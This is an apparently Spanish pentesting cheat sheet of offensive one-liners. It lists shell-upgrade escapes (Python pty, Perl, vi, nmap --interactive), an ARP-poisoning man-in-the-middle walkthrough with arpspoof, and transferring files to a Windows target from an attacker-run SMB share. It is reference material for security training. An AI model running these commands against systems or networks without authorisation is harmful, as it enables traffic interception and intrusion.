Misceláneos

Tratar shell para obtener shell interactiva

Python

python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

Perl

perl -e 'exec "/bin/bash";'
# Opción dentro de Perl
perl: exec "/bin/bash";

System

echo os.system('/bin/bash')
/bin/bash -i
/bin/sh -i

Ruby

ruby: exec "/bin/bash"

Lua

os.execute('/bin/bash')

IRB

# Opción dentro de IRB
exec "/bin/bash"

Vi

# Primera opción dentro de Vi
:!bash
# Segunda opción dentro de Vi
:set shell=/bin/bash:shell

NMAP

# Shell interactiva de NMAP (versiones 2.02 a 5.21): nmap --interactive
!sh

Networking

  • Linux:

ip route
route -n
  • Windows:

route print
  • macOS:

netstat -r

Cracking

MiTM

ARP Poisoning

Este ataque permite interceptar tráfico de una red manipulando la tabla ARP de los demás (ataque man-in-the-middle, MITM). El ataque se logra enviando mensajes Gratuitous ARP Replies (mensajes ARP Reply no solicitados).

El atacante puede evitar que el envenenamiento expire un mensaje Gratuitous ARP Reply cada 30 segundos (por ejemplo).

ARPspoof

Arpspoof es una herramienta de la colección Dsniff, la cual, permite realizar ataques de ARP spoofing.

arpspoof -i [interface] -t [target] -r [host]
  • Ataque usando ARPspoof

Habilitar reenvío de paquetes:

echo 1 > /proc/sys/net/ipv4/ip_forward

Lanzar ARPspoof:

arpspoof -i eth0 -t 192.168.1.12 -r 192.168.1.30

Descargar Archivos

Windows

  • Máquina atacante:

python3 /usr/share/doc/python3-impacket/examples/smbserver.py tmp .
  • Máquina Windows:

copy \\<ip_attack_machine>\tmp\<file_name> <local_path>

Servidores Web

Python2:

python -m SimpleHTTPServer 7331

Python3:

python3 -m http.server 7331

Last updated